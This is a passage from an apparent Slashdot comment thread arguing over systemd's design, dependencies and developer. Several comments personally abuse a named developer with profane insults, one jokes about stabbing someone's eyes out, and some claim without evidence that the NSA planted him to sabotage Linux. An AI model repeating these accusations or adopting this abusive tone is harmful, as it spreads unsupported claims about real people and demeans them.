    If "no one's forcing you to use it, use something else," may I just use Windows?

  104. Re:How do things need to change to live with syste by TechyImmigrant · · Score: 1

    * Samba, yes, because it's a daemon.

    There's no reason why Samba would benefit from being dependent on systemd. OpenRC provides the same functionality as systemd's init process, and smbd and nmbd are already long-running daemons, additional instances of which are managed by the initial daemon. Tools like daemontools (or, you know, init) already exist to start (and if necessary, restart) long-running daemons.

    SaMBa is used in far too many places to really want to take on systemd as a dependency. It's used on everything from traditional Unix systems (HP-UX, AIX, Solaris) to Apple's MacOS, Linux, and embedded devices running Linux or a BSD. It would make zero sense for them to require systemd as a result.

    This is also one of the issues that many, including myself, take with systemd since it now makes it harder to write portable software - one of the reasons many devs went to Linux from Windows.

    samba.c:
    if (systemd_present) do_systemd_stuff()
    else
    do_other_stuff()

    --
    I should use this sig to advertise my book ISBN-13 : 978-1501515132.
  105. Re:Lennart, do you listen to sysadmins? by gweihir · · Score: 2

    Personally, I think it is a very real possibility that this is by intent. Not by Poettering himself, he is just a clueless pansy full of himself. But he is perfect for this. He is far, far to incompetent to even realize that software has to be simple in order to be secure. He does has a proven track-record of producing buggy, complex software. He has absolutely no experience with producing secure software. He is known to be resistant to advice and learning. He is known to not work well with others. He thinks he knows it all and has it all.

    In one sentence: Perfect for creating a complex monster that will never, ever be secure.

    My money is on the NSA and others (remember, Red Hat is mostly funded by the US military) having selected Poettering to sabotage Linux security. This is actually the main reason why it will never find its way on any of my systems. Having the TLAs being the greatest threat to security and privacy is one thing. Inviting them in is something else.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  106. Re:Lennart, do you listen to sysadmins? by dissy · · Score: 2

    Linux has almost two orders of magnitude more code than systemd, and it changes all the time. Security vulnerabilities are far more likely to be in the monolithic kernel.

    Yes, that is an excellent reason to add even more vulnerability vectors!

    At least when it comes to the kernel and networking, I have iptables in between.
    With SystemD starting the network stack before starting anything else (including iptables), I can no longer even firewall off potential exploitable services.

    Too bad they didn't bother to include a functional services manager inside the systemd "service manager" that could bring up iptables before the network stack, perhaps using some dependency based system.

    But I fully understand how no mere mortal can wrap their head around the concept of renaming a symlink so iptables rules are prefixed with a lower number than your network services and thus load in a plain clear obvious order.

    Maybe one day computers will be able to know "10" comes before "20" without 250 megs of additional software. One can dream at least.

  107. Re:Lennart, do you listen to sysadmins? by gweihir · · Score: 1

    Misdirection. FUD. Bullshit.

    Damn shills.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  108. Re:Lennart, do you listen to sysadmins? by gweihir · · Score: 1

    These people actually know that systemd cannot compete on merit. Hence they try to muddy the waters. This is a PsyOps campaign, plain and simple. And a rather obvious one.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  109. The Emperor has no cloths! by Anonymous Coward · · Score: 0

    I've been a Unix/Linux admin and developer since BSD was ported to a Vax 11-780. So anyway, for this grey beard, I've been around and have many opinions.
    I've always said Linux is a better version of Unix than Unix. And it's been true. Linux is very innovative in it's approach. SystemD is the biggest pile of crap ever hoisted on the Community. First, the size difference. Comparing Mageia1 (sysvinit) to Magiea4 (systemd), Mageia1 = total 393k (308k init.d scripts and 40k for one binary /etc/init, oh and 1652 bytes for /etc/inittab). That it folks. 349k for sysvinit! Now compare that to systemd, Just in /usr/lib/systemd there are 77 binaries (4.6M), 247 control files (924k) and assorted others and what appear to be 1000's of sym-links everywhere. Speed-wise, I think systemd is much slower. Lastly, if your actually trying to do something with this pile of crap, it's spaghetti code in the 247 control files, because of all of the references to other control files; so it has Want's, Before's After's, Also's etc through all of the config files.

    My biggest pet pieve is the systemd filenames; They have a new lingo to learn on what a unit is; so you have post fixes .wants .service .target .socket .slice .mount .path. For example the config file to start the cups daemon consists of cups.path cups.socket cups.service cups-browsed.service cups-lpd@.service cups-lpd.socket, and less we forget, printer.target! It seems to me that a smarter design would have consolidated into one control file and built some intelligence into the binary that reads these.

    Brain dead filenames; in Magiea4 systemd, if your trying to understand this spaghetti, you might turn to trusty old 'grep' and try to find what references 'printer' for example, so you go to /usr/lib/systemd/system and type 'grep printer *' . You will get the following cryptic message;

    grep: invalid option -- '.'
    Usage: grep [OPTION]... PATTERN [FILE]...
    Try 'grep --help' for more information.

    The joke is on you bud. Some bozo decided to name the file '-.slice' and Unix/Linux wild card expansion treats it option. I daily use that is hard to work around. I've reported this as a sever BUG because it breaks all kinds of stuff. And to top it off, you can't just rename the files. The '-.slice' '-.target' '-.mount' are hardcoded into the binaries. There are also some just plain ugly file names too; like getty@.service. Why the dumb-ass @-sign. At least you left getty.target alone.

    And for diskless clusters, Systemd appears to be needed in initramfs as best I can tell. Because /usr/lib/systemd (and all the support libs) need to be loaded at the time init is performed. In magiea4 it looks like to get around this issue, they copied the entire /usr/lib/systemd tree into /lib/systemd on soft linked /usr/lib to /lib during boot. It's such bloat to do a very simple init.

    I am stunned that all of the Linux distribution have agreed to use this steaming pile. Every linux guru I know hates this thing. Every cluster vendor I know hates this thing. The user community is in an uproar and once installed and it's decencies are locked in, everything will require it! Right now I'm desperately looking for alternatives for the Cluster environments.

      If you run big systems, HPC systems, clusters, it's big trouble.

    1. Re:The Emperor has no cloths! by Blaskowicz · · Score: 1

      As I suspected grep printer -- * does work and I'm sure you know it. I'm not excusing the choice of names but that's a bit of a failure of Unix itself.

  110. Re:Lennart, do you listen to sysadmins? by Dcnjoe60 · · Score: 1

    Wrong. That base still wouldn't boot my server for me and the systemd people would still be spinning in circles unable to even conceive of a way to fix it. You see, I want the server to boot w/ btrfs in degraded mode should it suffer a drive failure. But systemd won't do it.

    I don't know about Suse, byt Red Hat does not. Otherwise they'd have noticed that sysadmins are sticking with RHEL6 to avoid systemd trouble.

    Since systemd can be configured to simply call the upstart or sysvinit scripts, why would it not work?

  111. Re:How do things need to change to live with syste by the_B0fh · · Score: 2

    Uh, apt-get install gimp brings in systemd, even if you don't have it installed.. Go on, try it.

  112. Isn't it the distros we should blame? by jfjuneau · · Score: 2

    Why is everyone putting all their energy bashing at Systemd and Lennart instead of complaining to the distro maintainers? Turn your anger at Red Hat, Fedora, openSUSE, etc, they are the ones pushing Systemd down the throat of the Linux community. In the end, the distros decides what software to include by default, nobody forced the distos to switch to Systemd. "But Gnome 3 depends on Systemd!" So what??? Boycott Gnome 3 then and don't ship it with your next release, it's not like there are no alternatives!

  113. Poettering ruined my life by GovCheese · · Score: 1

    I made my 2 little girls, 5 and 7, compile their own code for their electric, driverless Barbie Car, and when I suggested they use systemd, they shouted at me that if they wanted a Windows box, they'd run a Windows box and then I mentioned that Poettering listens to the community they ran out into the highway screaming and then the social workers came and all I have now is this stupid Barbie Car. Poettering ruined my life and he'll ruin yours.

    --
    "He's using a quantum encryption scheme! That'll take hours to break!"
  114. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    Well, do you actually take on board the concerns of system administrators and enterprise users? ... How about listening to the system administrators?

    As I stated 3 months ago, in a roundabout way, with evidence: no he does not.

  115. Patches for BSDs to run systemd unit files. by emil · · Score: 1

    OpenBSD is trying to move from rc.conf.local and inittab into per-daemon startup/shutdown init.d scripts.

    It's a shame that someone didn't swoop in with bare-bones unit file functionality (no cgroups, obviously). At least, with a unit file, PID 1 can launch a non-root process, which is hard with SysVinit (I do wonder if I've written my shim correctly).

    1. Re:Patches for BSDs to run systemd unit files. by drinkypoo · · Score: 1

      At least, with a unit file, PID 1 can launch a non-root process, which is hard with SysVinit (I do wonder if I've written my shim correctly).

      It is? What's wrong with su -c?

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  116. Please remember... by emil · · Score: 2

    ...that, while this part of the conversation might not have been the strongest part of the interview, systemd has won an amazing number of technical battles.

    FWIW IMHO, absolutely no, a unified development approach is not the main benefit of systemd. The new functionality is absolutely worth the transition pain. Not only can you control (kill) whole classes of processes more simply than ever, but you also get lightweight containers as a door prize.

    1. Re:Please remember... by cas2000 · · Score: 1

      the two most important things you're forgetting are a) that 99% of that functionality is in the kernel, not systemd and b) it's possible to have an init system that assists configuration and use of those kernel features without borging dozens of other unrelated functions (like logging, ntp, networking, firewall, udev, consolekit, and many more)...openrc manages to do that, for example.

      if systemd restricted itself to just init+cgroups, it wouldn't be hated anywhere near as much as it is - because there would be nothing to really hate.

  117. Re:Lennart, do you listen to sysadmins? by sjames · · Score: 2

    Because it's not willing to move past seeing that there is a storage volume with a missing dependency (the dead drive) so it stops right then and there. If I could get it to ignore that and move on, that would be fine but since nobody on the dev team ever considered the possibility, the capability isn't there.

    I haven't seen any way to tell it that things systemd wants to do before it even parses the services are dependent on a script being run.

  118. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    SaMBa is used in far too many places to really want to take on systemd as a dependency. It's used on everything from traditional Unix systems (HP-UX, AIX, Solaris) to Apple's MacOS, Linux, and embedded devices running Linux or a BSD. It would make zero sense for them to require systemd as a result.

    This is also one of the issues that many, including myself, take with systemd since it now makes it harder to write portable software - one of the reasons many devs went to Linux from Windows.

    The same could be said of Gnome, if the developers want it to be able to be supported on other OS's besides Linux (like, traditionally, the BSDs and other unixes. Sadly, they seem to be moving in the other direction, unless other OS's make some "systemd" like interface (or maybe "uselessd" as a replacement).

  119. Re:How do things need to change to live with syste by walterbyrd · · Score: 1

    Why would gimp do that?

  120. Systemd Pushers by Foresto · · Score: 1

    I don't understand the people who are pushing systemd so hard despite significant resistance in the community. Reasons for disliking it vary, but don't really matter, because its adoption will force a *lot* of people who don't want it to either suffer through it or suffer through migration to another OS/distro. That is reason enough not to adopt it. Trying to discredit people's reasons for disliking it is presumptuous, pointless, and rather stupid.

  121. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    I have no opinion on systemd. However, more granular fault isolation wasn't convincing when Tanenbaum and Linus were arguing microkernels vs. monolithic kernels, so why should it be convincing now?

    Every condemnation leveled against the monolithic systemd are just rehashed arguments of monolithic vs microkernels. Monolithic kernels clearly dominate, and chances are systemd will similarly dominate, so instead of wasting your time battling the tide of history, perhaps you should be more constructive.

  122. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    Yes, that is an excellent reason to add even more vulnerability vectors!

    Granted, but more granular fault isolation wasn't convincing when Tanenbaum and Linus were arguing microkernels vs. monolithic kernels, so why should it be convincing now? I'm certain your other complaints are fixable given the current framework, assuming there aren't other mitigating issues.

  123. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    A lot of people have complained that GRUB blew up and broke their boot.

    Let's find the motherfucker behind GRUB and stab his eyes out with kitschy pixelart spoons, amirite?

    Y'all are bitches. That's what the problem is.

  124. Something Better by Foresto · · Score: 2

    I'd like to see an init system like this:

    - Starts services on demand based on dependencies, not based on order (like sysvinit) or based on events (like upstart).
    - Has a minimal core that can easily run on its own, just to do the job of a standard init system.
    - Is easy to learn, configure, and understand.
    - Has good documentation.
    - Does not encourage application software to require it.
    - Does not encourage other system services to require it.
    - Works well on linux and non-linux unixes.
    - Can be replaced without causing such an upheaval that OS distribution teams are scared to switch again if something objectively better comes along.
    - Causes a lot fewer problems than the stuff that I've seen from systemd's author.
    - Is maintained by people with the humility, competence, and care required to make it work well for the vast majority of users.

    Systemd pushers often claim that it is the way forward because it addresses that first piont. They conveniently avoid recognizing that it fails on most of them. No thanks. I'd rather keep using sysvinit or upstart until something better comes along.

    1. Re:Something Better by Anonymous Coward · · Score: 0

      OpenRC seems to fit the bell, but fails at the first I believe.

      http://wiki.gentoo.org/wiki/Co...

  125. Re:How do things need to change to live with syste by metamatic · · Score: 2

    Samba is no longer used in Mac OS X.

    Apple got rid of it as part of their GPL software purge.

    --
    GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
  126. Re:Lennart, do you listen to sysadmins? by drinkypoo · · Score: 1

    more granular fault isolation wasn't convincing when Tanenbaum and Linus were arguing microkernels vs. monolithic kernels, so why should it be convincing now

    The question was one of whether the benefits outweighed the drawbacks. But systemd isn't actually monolithic, it's monolithic by fiat because the daemons refuse to play well with others, which (again) is against the Unix Way. It's taken until recently for Minix to become even vaguely usable as anything other than a learning operating system, it's lagged behind everything else in terms of features always.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  127. Re:Those against Systemd remind of legacy comp adm by Eunuchswear · · Score: 1

    Bug report?

    --
    Watch this Heartland Institute video
  128. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    Why would daemons need to change?

    If the cost of using anything but systemd is high enough almost nobody will be willing to pay it. Given no other choice, users will use systemd.
    On my system even Chromium depends on the systemd malware. That's right, a browser depends on a specific init system. The long-term objective is to transform Poettering/Linux into Windows. Hopefully I'll manage to flee to a *BSD before then.

  129. Re:Lennart, do you listen to sysadmins? by myowntrueself · · Score: 1

    Personally, I think it is a very real possibility that this is by intent. Not by Poettering himself, he is just a clueless pansy full of himself. But he is perfect for this. He is far, far to incompetent to even realize that software has to be simple in order to be secure. He does has a proven track-record of producing buggy, complex software. He has absolutely no experience with producing secure software. He is known to be resistant to advice and learning. He is known to not work well with others. He thinks he knows it all and has it all.

    In one sentence: Perfect for creating a complex monster that will never, ever be secure.

    My money is on the NSA and others (remember, Red Hat is mostly funded by the US military) having selected Poettering to sabotage Linux security. This is actually the main reason why it will never find its way on any of my systems. Having the TLAs being the greatest threat to security and privacy is one thing. Inviting them in is something else.

    Actually thats kind of my theory on IPSEC... far too complex to configure, unnecessarily so. Easy to 'accidentally' set up IPSEC in unsecure ways because the system is so fiendishly complicated it almost encourages the administrator to make mistakes.

    --
    In the free world the media isn't government run; the government is media run.
  130. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    There was no GPL purge. However, there was an effort not to use GPL v3 software. This is also being done in FreeBSD.

  131. You listen and you ignore by Anonymous Coward · · Score: 0

    Otherwise you wouldn't have written this abomination called systemd, of which no system administrator wants to touch, and which not only brings nothing good (there were tools and init systems that could do the same if you wanted) but instead a lot of bad.

  132. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    get some education before you post in ignorance.

    Take your own advice.

    ConsoleKit is dead, it was EOLed.

  133. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    But systemd isn't actually monolithic, it's monolithic by fiat because the daemons refuse to play well with others, which (again) is against the Unix Way.

    Microkernels are arguably more "Unixy" than monolithic kernels. Each device driver is simply a process that has a well-defined stream interface that can be piped to any other process, not just the kernel itself. Microkernels are Unix taken to the extreme.

    So again, this argument failed for microkernels, so why should it succeed here? Perhaps some core functionality, not just system calls, should also be in some monolithic service and not a set of composable subsystems.

    It's taken until recently for Minix to become even vaguely usable as anything other than a learning operating system, it's lagged behind everything else in terms of features always.

    Tanenbaum and others weren't arguing that Minix was the microkernel OS that should be selected, merely that some microkernel should be preferred over monolithic kernels. The high performance L3 and EROS microkernels both existed at the time, albeit in early stages like Linux.

  134. Multiple meanings of "monolithic" by emblemparade · · Score: 3, Insightful

    There is a confusion of two aspects of "monolithic" here, and unfortunately Poettering did not clarify it well:

    1) "Monolithic" in terms of a single repository for all code. The systemd project is monolithic in this respect, and Poettering is absolutely correct that this is the classic Unix way. All the *BSDs are maintained this way. Linux is thus, as he correctly points out, the anomoly.

    2) "Monolithic" in terms of tools that depend on each other. The systemd system is not monolithic in this respect. The only two required components are journald and udev. Everything else is entirely optional and replaceable, but "recommended" in the sense that the people working on the project really think that these components, written from scratch, are of better quality and consistency than the existing components they replace. But some hysterical people hear this recommendation as "forcing it down our throats". Distro makers will decide which components to use, whether those in the systemd project or the existing ones. Obviously, the existing ones have the benefit of maturity.

    Also, he doesn't point this out in this interview, but these new components are also better at reporting errors in a way that the whole init would be more robust when certain components have partial failures (and systemd knows how to deal with them). This is especially crucial for servers with complicated, layered network stacks. People say that systemd is for desktops, but really it is just as important for servers to have a robust initialization of services.

  135. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    Prove it.

    $ apt-rdepends gimp| grep -i systemd
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done

  136. Re:How do things need to change to live with syste by afidel · · Score: 1

    Gimp uses dbus to do a named pipe to the running instance if you launch it from the CLI and there is already an open instance under the current users context that tells it to open the new file within the existing instance, and dbus is now part of systemd. There are alternative ways to package Gimp that don't use dbus since it also run on Windows and other platforms, that just happens to be the simplest way with the current Gimp source tree. A LOT of what systemd is about is easing thing on package maintainers.

    --
    There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
  137. Linus had a point... by Anonymous Coward · · Score: 0

    If more people were willing to force failure to account for itself, as loud as necessary, Lennart wouldn't've had a chance to crap all over Debian. Now Debian's been infected and it might be incurable.

  138. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    The old style init systems all relied on the shell - another large complex piece of software... And bash had a bad security issue last year.

  139. Can someone explain what the huge debate is? by Anonymous Coward · · Score: 0

    It breaks systems, init processes and forces its changes on admins. The binary log solution that is mandatory is a very non-Unix/Linux solution. It cannot be trusted as it gets corrupted, with no explanation and no fix in sight. If an attack vector wants to hide, it merely has to zap garbage at the binary log. Evidence is gone with the standard LP shrug, 'restart the service' as the only reply.

    The changes are not trusted as the developer is not trusted, a critical concept in FOSS that LP has yet to comprehend.

    From user space? Pardon me but who gives a fuck? The system has to boot, run and be maintained. Otherwise the users have NOTHING to use.

  140. We do listen to users by qbast · · Score: 1

    ... then we mock them.

  141. To those the didn't RTFA by Anonymous Coward · · Score: 0

    Oddly enough he doesn't listen to users. Nope. He tries to figure out what they want. Which is very clearly not the same action although he doesn't see that.

    LP shows that he has absolutely no concept of the Unix philosophy. Indeed, he veers off into weird descriptions of the repository for systemd and its coding style. He is 'bemused' by the misunderstandings of others. Additionally he states that fewer developers is better then later comments on have twenty plus commit authors the day before and 40 for the month.

    The connection with Upstart is explained, in his unique way, by stating that it was exactly backwards of what was needed. The computer needs to make all the decisions about processes and not the administrator. To be honest I am not sure he meant admin or user in this case.

    Good luck, getting a word in sideways much less getting him to listen to what you say without him editing it thusly: g/*/s//LP grand vision/p

    An interesting article. Linuxvoice did everything but offer to have his children.

    Systemd, from the man that doesn't understand Unix files. Yep, that's the guy.

  142. Re:How do things need to change to live with syste by metamatic · · Score: 2

    There was no GPL purge.

    Thanks, Baghdad Bob, but I've been monitoring the purge for some time.

    --
    GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
  143. Re:Lennart, do you listen to sysadmins? by gweihir · · Score: 1

    As the IPsec RFC was finalized by an NSA employee alone, this is very, very likely. They just had not learned how to camouflage their actions properly. The sabotage by making it very complex to implement and configure right, and by including multiple insecure options that you can easily select by accident, is very, very obvious in retrospect. The other aspect is that then their agents could kill other efforts by saying "but we have IPsec".

    It is this type of sabotage that slowly erodes society. At some point, nobody trusts anything anymore and that is it for civilization. These people are vastly more dangerous than any religious fanatics.

    --
    Most ACs are not even worth the keystrokes to insult them. Be generically insulted by this and ignored otherwise.
  144. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    Your rdepends is too limited. This is what people are complaining about:

    $ apt-rdepends --follow Depends,PreDepends,Recommends gimp|grep systemd
    Reading package lists... Done
    Building dependency tree
    Reading state information... Done
        Depends: libsystemd-login0 (>= 31)
    libsystemd-login0

    Caveats:
    1. It gets pulled in via a recommendation, not a requirement, by way of dbus.
    2. It's not systemd, it's an API library, so dbus can work with systemd if it exists
    3. Systemd itself isn't being installed or required at all.

    It's an overblown, "sky is falling" type argument that needs to just die already. Here's the list of dbus deps on Debian testing:

    Depends: adduser
        Depends: libc6 (>= 2.10)
        Depends: libdbus-1-3 (>= 1.0.2)
        Depends: libexpat1 (>= 2.0.1)
        Depends: libselinux1 (>= 1.32)
        Depends: libsystemd-login0 (>= 31)
        Depends: lsb-base (>= 3.2-14)

    You can see that it also depends on libselinux, but nobody's complaining about how SELinux is being force-installed on everybody's system as a dependency of gimp. You know why? Because the lib doesn't install SELinux, it's just an API lib, same as libsystemd-login0.

  145. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    Why would gimp do that?

    It doesn't, it's people crying wolf over an API library. Check my other comment for a better explanation, but the gist of it is gimp recommends dbus, dbus requires an API lib (libsystemd-login0), and people that don't know better are equating that to "OMG systemd infection!"

    I don't even like systemd, but I hate that specific argument. It's just undermining legitimate complaints by making anti-systemd people look like clueless newbies that can't tell the difference in an API lib and an init system.

  146. lenny by Anonymous Coward · · Score: 0

    Not only does lenny make some fucking absurd design choices in systemd, the cunt is fucking young as fuck. Young people don't know shit about shit. He *looks* like he doesn't know shit.

    He also comes off as a self righteous arsehole.

    listening to users? Fuck off! Users have been telling this cunt for years how shit systemd is. And the cunt has not listened once, and certainly has done everything in his power to make systemd as shit as possible.

    fact: it only works on glibc. What fucking uneducated ill informed fucking numpty would make such a choice? Too fucking bad if you want to run a libc that doesnt suck.

    parallel startup and hibernate? Irrelevant for the vast majority of use cases.

    Fuck you lenny you fucking utter twerp. You dont know shit.

  147. Re: Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    Hey msg,

    Why dont you fuck off already and pull your head in?

    I think we all know you as systemd appologist.

    Hence, your opinions are wrong.

    And besides, no one likes a pathetic lieing appologist.

  148. The debate is actually Framework vs Library by master_p · · Score: 1

    SystemD takes the Framework approach: it provides a set of features and a way to use them. The user of SystemD cannot escape that.

    On the other hand, SysV init takes the Library approach: it gives you the tools that do a specific job, but organizing them and putting them together is a job for the user.

    In that light, SystemD is actually anti-Unix, because the Unix way of doing things is the Library approach, i.e. a set of tools that one can use in whatever form they need.

    Now that I've said the above, the real question is the following: is Init served better by the Framework or the Library approach?

    1. Re:The debate is actually Framework vs Library by Anonymous Coward · · Score: 0

      Since the "library approach" basically just means that every init script have to remember to do everything correctly I would strongly argue that a well specified .service file is a much better solution. The init scripts that you get with your Linux distro is usually quite good, but if you have to work with init scripts cobbled together by various vendors (Hi IBM!) a .service file looks quite nice in comparison.

  149. Lipstick by Anonymous Coward · · Score: 0

    So what? You afraid of pretty men?

  150. Re:Lennart, do you listen to sysadmins? by Celarent+Darii · · Score: 1

    Actually, no. The modern linux kernel is far more modular than in the beginning. Now you have kernel 'modules' that can be unloaded during runtime, which wasn't possible in the past. In the end the real debate was HOW to accomplish the modularity, not whether to make the kernel modular or not. The modern linux kernel is not as monolithic as it used to be, and has absorbed many of the features of the microkernel.

    You can run the kernel with any number of modules according to the functionality that you need, with various levels of dependancy. There are even distributions that remove all of these modules for embedded devices. You still have a kernel that provides a way to speak to the hardware it supports even without the other modules.

    Systemd is nothing like this. You cannot run systemd without journald for instance, not simply because of a dependency but due to bad design. There is no reason on earth that an init system would need a specific journal daemon, and yet you cannot run systemd without journald. To use any other journaling software you have to use the output of journald. Thus journald is not separate from systemd in any meaningful term.

    And who in their right mind makes a logging daemon write to binary files? That is just retarded. The first thing you look on a machine that has failed in some way is to look at the log, and the tool to look at the log is almost always from another machine that is different than the one you are looking at [because that one is broken, duh]. A technician will use tools that he has on hand, which sometimes is only a text editor, or even just cat. To expect someone to install another piece of software on their machine just so they can see what happened to the server IS JUST FUCKING INSANE.

  151. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    Because at this point, systemd is way beyond a "mere" init.

    via logind it is a seat and session manager. This makes all kinds of government/military admins hot and bothered as the can strictly define what some account can access depending and where and how they log in. Come in via a remote shell session? No high security files for you, etc.

    Also, it is gaining container related "features" like wildfire. Recently a json tokenizer was added so that it can digest Docker containers directly. And RH is betting big on beyond a cloud services provider now.

  152. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    In the end the real debate was HOW to accomplish the modularity, not whether to make the kernel modular or not

    Right, so make the kernel modular via isolation which provides fault tolerance in your most critical piece of code, or make it monolithic, ie. everything lives in kernel address space.

    There is no reason on earth that an init system would need a specific journal daemon

    There is no reason on earth device drivers need to live in kernel space either. Performance arguments are simply false, and this point has been disproven many times over.

    Of course arguments and hard data aren't meaningful in these discussions, and monolithic has clearly won in terms of marketshare. Once again, why fight the tid of history instead of being more constructive? You are going to lose.

  153. Re:Lennart, do you listen to sysadmins? by Celarent+Darii · · Score: 1

    There is no reason on earth device drivers need to live in kernel space either. Performance arguments are simply false, and this point has been disproven many times over.

    Actually the performance arguments are the only arguments. Everyone is agreed that separating the various components is necessary for system stability. Yet for machines like home computers it is simply not possible. It is only with the relative advance of hardware that the microkernel can actually get close to a monolithic kernel in terms of performance. The address space separation always comes at the cost of inter-process communication and context-switching which necessarily have performance consequences. It is this performance consequence that made Windows NT, originally designed on a microkernel architecture, move towards a hybrid kernel. However even Windows engineers have struggled to move towards a microkernel, with Vista being the first version I believe which had some drivers run in user mode.

    Of course arguments and hard data aren't meaningful in these discussions, and monolithic has clearly won in terms of marketshare. Once again, why fight the tid of history instead of being more constructive? You are going to lose.

    Actually the monolithic kernel has already lost the marketshare battle. There are far more Mac and Windows installations than all Linux distributions combined. These are all microkernel or hybrid-kernel architectures.

    You make an error in thinking that history has already been written. Unless you are a prophet of some sort, there is no way you can tell us what the tide of history is at this moment. Systemd may indeed be the end of Linux in server space, as many serious companies are already migrating to the BSDs. How large this migration may be we won't know until the statistics are taken after the fact. I'm old enough to remember the commercials for "New Coke", which was vaunted to be the formula to crush the competition. In reality the competition destroyed Coca-Cola. Systemd is all about marketing, and nothing about engineering. It too will fail and be replaced, just like PulseAudio by ALSA.

  154. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    Yet for machines like home computers it is simply not possible. It is only with the relative advance of hardware that the microkernel can actually get close to a monolithic kernel in terms of performance.

    This is not true. The L4 kernel ran Linux as a guest OS with 5% overhead. This was the birth of hypervisors like Xen, which are really just a sort of microkernel. Virtualization is everywhere now, and no one seems to be complaining about overhead. If you can run a virtualized host with so little overhead, native execution is at least as fast as your guest.

    It's perhaps too easy to introduce performance problems via a poor choice of decomposition, but that doesn't entail that decomposed systems must necessarily perform poorly.

    It is this performance consequence that made Windows NT, originally designed on a microkernel architecture, move towards a hybrid kernel.

    Poorly designed systems perform poorly. The NT kernel might have been a nice kernel design from some people's standpoint, but then people thought the Mach kernel was a good microkernel too. Both opinions are incorrect.

    There are far more Mac and Windows installations than all Linux distributions combined. These are all microkernel or hybrid-kernel architectures.

    There is no such thing as a hybrid. You are either on fire, or you are not. You are either a microkernel, or you are a monolithic kernel. Mac's may use the Mach microkernel, but it's a poor kernel and the BSD subsystem really consists of most of the system calls, which all execute in kernel space. This is a monolithic kernel that has a poorly designed microkernel as its ancestor.

    Systemd is all about marketing, and nothing about engineering. It too will fail and be replaced, just like PulseAudio by ALSA.

    Except PulseAudio hasn't been replaced, it's still used by most distributions.

  155. Re:How do things need to change to live with syste by TechnoJoe · · Score: 0

    I think you're missing the point of the previous post. It is one thing to inter-operate with an init manager, like systemd, upstart, openrc, or sysvinit. It is quite another thing to be wholly dependent on a single init manager, which is the route GNOME has chosen to go.

    A program can inter-operate with multiple init managers without having to be dependent on a single one of them.

  156. Re:Lennart, do you listen to sysadmins? by Celarent+Darii · · Score: 1

    There is no such thing as a hybrid. You are either on fire, or you are not.

    That is such an idiotic statement that I won't even bother continuing the discussion. This link is the wikipedia page. And is Linus himself speaking about the mix of kernel architectures.

    The people who push systemd have serious issues with reality it seems. Pulseaudio is a brain damaged piece of software and one of the first things to be removed in any distribution.

  157. This is why I started using Windows again. by Shadowolf7 · · Score: 1

    All of the bickering around systemd ticked my nerves to the point I just can't even. Y'all are why I use Windows for more than games now.

  158. Re:How do things need to change to live with syste by Anonymous Coward · · Score: 0

    I don't think you understand the scope of systemd. It does far more than managing services. Gnome and Gimp for example are dependent on it.

  159. Re:Lennart, do you listen to sysadmins? by TheSunborn · · Score: 1

    How do the daemons refuse to play well with others? Do you have any examples on this?

    As far as I see, nothing prevent me from replacing any specific daemon with my own implementation. With the possible exception of systemd/journald/udev

  160. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    FTFY: As I see it, this is just general IT Ranting because something broke shit that was working for years

  161. Prickering the LIAR by Anonymous Coward · · Score: 0

    Prickering is a lying sociopath who is being used a shill to infiltrate GNU/Linux. Systemdestruction is an abomination that will turn GNU/Linux into a semi proprietary OS spearhead by RedCRAP.

  162. Re:Lennart, do you listen to sysadmins? by Anonymous Coward · · Score: 0

    How much of that is drivers and other stuff that can sit in a dead module until loaded?

  163. Re:Lennart, do you listen to sysadmins? by naasking · · Score: 1

    That is such an idiotic statement that I won't even bother continuing the discussion. This link is the wikipedia page.

    Perhaps you should actually read the link you specified. Linus himself describes the term "hybrid" kernel as simple marketing, which is exactly what I said.

    Pulseaudio is a brain damaged [beastwithin.org] piece of software and one of the first things to be removed in any distribution.

    And yet, it's not removed seeing as it's still around and still quite popular.

  164. Name Change for Linux? by Anonymous Coward · · Score: 0

    Is it nearly time for a name change for Linux? Once systemd establishes itself definitively as the system middleware layer than determines compaitibility of new software with the "core" operating system, maybe the name of the OS, Linux, will need to be changed to something more accurate -- like perhaps, SystemdOS -- or DOS for short. Linux itself could be kept around as an optional kernel plugin for the then industry standard systemd framework. This legacy setup could appeal emotionally to old timers crotchety enough to remember the old UNIX origins of SystemdOS. Besides, it would preserve the memory of the man Linus Torvalds who was so instrumental in paving the way for Lennart Poettering.